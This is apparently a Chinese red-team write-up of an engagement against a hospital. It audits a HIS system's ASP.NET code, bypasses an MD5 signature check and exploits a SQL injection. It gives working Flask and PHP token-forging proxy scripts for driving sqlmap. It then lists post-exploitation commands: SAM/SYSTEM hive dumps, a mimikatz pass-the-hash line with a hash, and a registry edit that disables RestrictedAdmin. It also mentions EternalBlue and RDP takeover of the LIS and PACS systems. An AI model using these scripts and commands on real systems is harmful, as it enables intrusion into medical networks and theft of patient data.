1.前言
最近在某次护网中,小队分到了一些医疗单位的靶标,小队师傅也是成功靠备份文件爆破手法找到了一个HIS系统的源码,为ASP.NET相关源码,恰好最近研究了很多.NET安全方面的知识,于是审计这块的工作就交给我了。
在正式开始审计之前,先分享一些我刚刚学到的新知识,那就是医疗行业相关的重点系统。主要有四个,分别是HIS、PACS、LIS、RIS。
HIS即医院信息管理系统,是医院信息化建设的核心组成部分,它是为了管理和运营医院而设计和开发的一套综合性的信息系统。
PACS即医学影像存档与通讯系统,主要作用有连接不同的影像设备、图像的调用与后处理等。
LIS即实验室(检验科)信息系统,LIS系统不仅是自动接收检验数据,打印检验报告,系统保存检验信息的工具,而且也是医生科研、诊疗的重要参考指标。
RIS即放射信息管理系统,它与PACS系统共同构成医学影像学的信息化环境。
借用小队师傅的一句话总结就是,HIS就是平时你去看病登记挂号系统 LIS就是负责报告的系统 PACS和RIS是影像的系统。这四个系统对于医疗单位来说还是非常重要的,并且与其相关的数据库中一般保存大量数据,可以爽吃数据分(尤其是HIS)。进入医疗相关目标的内网后,除了注意域控等常见集权设施,还可以多关注上述系统,能拿下上述系统也是能吃不少分的。
介绍完背景,正文开始,本文主要就是针对一个HIS系统进行的审计。
2.分析签名生成逻辑并挖掘注入点
首先根据拿到的dll源码来看,该系统基于ASP.NET MVC开发
同时也使用了EntityFramework ORM框架
如果开发者使用LINQ语法或者预处理,那么SQL注入漏洞就有点难挖了,不过很多开发者未必能用习惯LINQ语法,如果还是使用传统的ExecuteSqlCommand()、SqlQuery()、SqlCommand() 那还是有机会的
总之,把dll拖进Dnspy里反编译,对于MVC类型的系统,无论是何语言,还是先看一下路由是怎么设置的
普通的路由规则就是MVC默认的路由规则,没什么好介绍的,但是注意到这套系统还使用了WebApi,其WebApi的路由规则如下:
以上就大概摸清了这套系统的路由规则。接下来就是审计了,由于是ASP.NET系统,基本都和SQL Server数据库绑着用,找个SQL注入基本就能拿下了,所以先愉快的找一波SQL注入。这里我找到一个PatientController,这是一个实现ApiController的类,走WebApi路由规则
其中,有一个BindUserCard的action引起了我的注意
这个action把它接收到的GET传参都传入本类的GetUserCard方法
跟进GetUserCard方法,它把patCardNo参数传给DBControl类的GetCardIDList方法
跟进GetCardIDList
可以看到,直接把传参和SQL语句做拼接,然后扔给SqlCommand执行,没有使用什么LINQ和预处理,这样我们就很容易地找到了一个注入
但是,这里也没那么容易,事实上这套系统的大量接口都存在验签机制
在正式进入SQL语句执行之前,还使用Equals对传参中的token参数值和一个str字符串进行了比较,如果这个比较返回false,会直接返回失败:
那接下来我们就来研究一下这个str的生成逻辑,其实也好理解
这里把test(后面敏感关键字用test替代)和tokenTwo做了一个拼接,然后传入UserMd5方法进行处理,就得到了str。我们来看一下UserMd5方法的逻辑
看起来有点抽象,其实这里就只是对传参进行了一个md5加密
那么接下来这个tokenTwo是什么呢?这里就有点烧脑了
这里新建了一个SortedDictionary字典,然后把我们的GET参数值全都对应的传过来了,并且把这个SortedDictionary丢给getParamSrc方法进行处理,结果即为tokenTwo变量的值。我们来分析一下getParamSrc方法
这里大意就是对SortedDictionary里的键值对进行重新排序,得到一个新Dictionary,比方说我们一开始有这样一个字典:
{
"hospitalId": "123",
"hospRegionCode": "XYZ",
"patName": "Alice",
"patCardType": "ID",
"patCardNo": "456",
"patType": "Inpatient",
"patMobile": "9876543210",
"guardName": "Bob",
"guardidType": "Passport",
"guardidNo": "789",
"source": "Web",
"code": "ABC",
"birthDay": "1990-01-01",
"oprId": "001",
"clientPw": "password",
"healthCardId": "HC123"
}
重新排序后变成下面这个顺序:
{
"birthDay": "1990-01-01",
"clientPw": "password",
"code": "ABC",
"guardName": "Bob",
"guardidNo": "789",
"guardidType": "Passport",
"healthCardId": "HC123",
"hospitalId": "123",
"hospRegionCode": "XYZ",
"oprId": "001",
"patCardNo": "456",
"patCardType": "ID",
"patMobile": "9876543210",
"patName": "Alice",
"patType": "Inpatient",
"source": "Web"
}
接着,按新的顺序依此取出键值进行拼接,变成:
1990-01-01passwordABCBob789PassportXYZ123001456ID9876543210AliceInpatientHC123Web
这就是getParamSrc方法的执行结果,然后这个结果前面拼接上test,再走一次md5加密,就得到token了。
逻辑理顺了,但是实际上写脚本并不用这么复杂,因为这里从头到尾都没有验证WEB传参是否为空,SortedDictionary也允许null键值,依此我们实际上只需要传入前面提到的存在注入问题的patCardNo参数,其它为空,这样脚本就很好写了,只要获取patCardNo和test字符做拼接就好了。
先写一个简单的验证脚本:
加个单引号,提示出现错误
多补一个单引号,结果正常
说明我们通过了验签,并且此处也确实存在一个SQL注入点,那么接下来,我们要怎么利用呢?自己重新实现一个SQL注入脚本去复现Sqlmap的--os-shell工作量肯定是巨大的,不如写个脚本和Sqlmap联动吧
3.请求转发&中转注入
对于上述情况,其实有两种解决思路,分别是请求转发和中转注入。小队的范师傅首先给出了一个python脚本。这个脚本的思路是,用Flask起一个用于请求包装和转发的WEB代理,这个代理接受Sqlmap的请求,根据sqlmap插入注入点的payload去生成token,并替换请求中的token,这样就完成了一次请求的包装,接着把这个包装的请求发给目标,并接受响应,这样完成一次完整的请求。脚本如下:
from flask import Flask, request, Response
import hashlib
import requests
import re
import urllib.parse
app = Flask(__name__)
# 目标服务器地址
TARGET_URL = "http://xxx.xxx.xxx.xxx"
def proxy(path):
# 获取原始请求参数
query_params = request.query_string.decode('utf-8')
original_url = f"{TARGET_URL}/{path}?{query_params}"
# 处理 token 和 patCardNo
patCardNo_match = re.search(r"patCardNo=([^&]*)", query_params)
if patCardNo_match:
# 提取并解码 patCardNo
patCardNo = patCardNo_match.group(1)
decoded_patCardNo = urllib.parse.unquote(patCardNo) # URL解码
# 生成 token 的逻辑
token_base = "test" + decoded_patCardNo
token = hashlib.md5(token_base.encode('utf-8')).hexdigest()
# 添加调试输出以检查生成的值
print(f"[DEBUG] patCardNo: {decoded_patCardNo}")
print(f"[DEBUG] token_base: {token_base}")
print(f"[DEBUG] Calculated token (MD5): {token}")
# 替换请求中的 token 参数
query_params = re.sub(r"token=[^&]*", f"token={token}", query_params)
modified_url = f"{TARGET_URL}/{path}?{query_params}"
else:
modified_url = original_url
# 打印调试信息
print(f"[DEBUG] Original URL: {original_url}")
print(f"[DEBUG] Modified URL: {modified_url}")
# 转发请求到目标服务器
if request.method == 'GET':
resp = requests.get(modified_url, headers=request.headers)
elif request.method == 'POST':
resp = requests.post(modified_url, data=request.form, headers=request.headers)
# 将响应返回给 SQLMap
response = Response(resp.content, status=resp.status_code)
for key, value in resp.headers.items():
response.headers[key] = value
return response
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8088, debug=True)
然后sqlmap跑原数据包的注入点,同时使用proxy连接该代理
python sqlmap.py -r 1.txt --proxy http://127.0.0.1:8088
SQL Server堆叠注入,DBA权限,后续懂得都懂了。
小队师傅写好脚本的时,我也吃好饭差不多回到家了,于是我捣鼓了一个PHP中转注入脚本。简单来说我这个脚本只获取SQLMAP的payload,并不获取完整请求,后续的token的生成包括请求的发起都是自己用curl_exec完成。
如果是POST请求使用如下脚本:
$url = "http://xxx.xxx.xxx.xxx/api/xxxx/BindUserCard";
$sql = $_GET['s']; //获取中转脚本传过来的payload
$s = $sql;
$tokenseed = "test".$s;
$token = md5($tokenseed);
$params = "xxxx=&xxxx=&xxxx=&xxxx=&patCardNo=$s&patType=&patMobile=&guardName=&guardidType=&guardidNo=&source=&code=&birthDay=&oprId=&clientPw=&healthCardId=&token=$token";
$ch = curl_init();// 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $url);//这是你想用PHP取回的URL地址,可以在用curl_init()函数初始化时设置这个选项
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP请求中自定义一个”user-agent”头的字符串
curl_setopt($ch, CURLOPT_TIMEOUT, 15);//为了应对目标服务器的过载,下线,或者崩溃等可能状况。
curl_setopt($ch, CURLOPT_POST, 1); // post 提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
// 抓取URL并把它传递给浏览器
$response = curl_exec($ch);
echo $response;
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
我们上面的场景是要求GET请求,简单改改就行,使用如下脚本:
$url = "http://xxx.xxx.xxx.xxx/api/Patient/BindUserCard";
$sql = $_GET['s']; // 使用引号包裹 's' 以获取 GET 参数
$s = $sql;
$tokenseed = "test" . $s;
$token = md5($tokenseed);
// 将参数添加到 URL 中
$params = "xxxx=&xxxx=&xxxx=&xxxx=&patCardNo=$s&patType=&patMobile=&guardName=&guardidType=&guardidNo=&source=&code=&birthDay=&oprId=&clientPw=&healthCardId=&token=$token";
$request_url = $url . "?" . $params; // 构建完整的 GET 请求 URL
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $request_url); // 设置请求的完整URL
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); // https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 将结果返回而不是直接输出
curl_setopt($ch, CURLOPT_HEADER, 0); // 不包含头信息
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)'); // 自定义User-Agent
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // 设置超时时间
$response = curl_exec($ch); // 执行cURL请求
if ($response === FALSE) {
echo "cURL Error: " . curl_error($ch); // 输出错误信息
} else {
echo $response; // 输出请求结果
}
curl_close($ch); // 关闭cURL资源
然后让SQLMAP跑这个点就行。
4.审计结语
最后也是在实战中练习到了ASP.NET的代码审计,基于.NET MVC和WebApi开发的站点越来越多,用Framework WebForm开发的站点基本都是一些历史遗留站点了,还是有必要深入学习一下.NET MVC和WebApi的。这个代审过程也比较ez,主要是写中转脚本有意思。
5.后渗透延伸
到这里我们已经拿到目标的HIS系统的服务器权限了,再来说说PACS和LIS系统。在HIS服务器上翻到了本地数据库连接的密码sa / Testme@414661(假装是这个)然后通过喷洒之后成功撞出了几个相同的口令,恰巧不巧其中就有PACS系统数据库
利用MDUT工具提权至SYSTEM,转存hash到本地服务器
reg save HKLM\SYSTEM D:\Sys.hiv
reg save HKLM\SAM D:\Sam.hiv
之后再通过MDUT的文件管理去下载到本地,再用mimikatz去提取ntlm
提取出来之后果不其然密码为强口令,cmd5解不出来,又不想修改和新增账号。那咋办嘞?可以通过mimikatz用pth横向上去
privilege::debug
sekurlsa::pth /user:Administrator /domain:HIS_SERVER /ntlm:53fcac5a9fb07060869c08f77127e8e6 "/run:mstsc.exe /restrictedadmin"
横向之后提示登录受限,我们可以通过修改注册表允许登录
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
然后使用
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
检查是否开启成功
如果回显内容为“DisableRestrictedAdmin REG_DWORD 0x0“ 则说明修改成功(不绝对)
成功登录上目标的LIS服务器
又来说说PACS系统,遗憾的是这个系统没有拿下服务器权限,只接管了管理员账号,怎么接管的呢?通过我们熟悉的永恒之蓝拿到的权限
抓取RDP密码为空(一般这种情况大概率是个人机),利用注册表开启RDP之后成功登录
登录后本地接管PACS系统管理员权限
到这里就差不多结束了,可惜没有抓住RIS系统的尾巴,我怀疑这个医院压根没有。
小队第一篇文章,求师傅们关注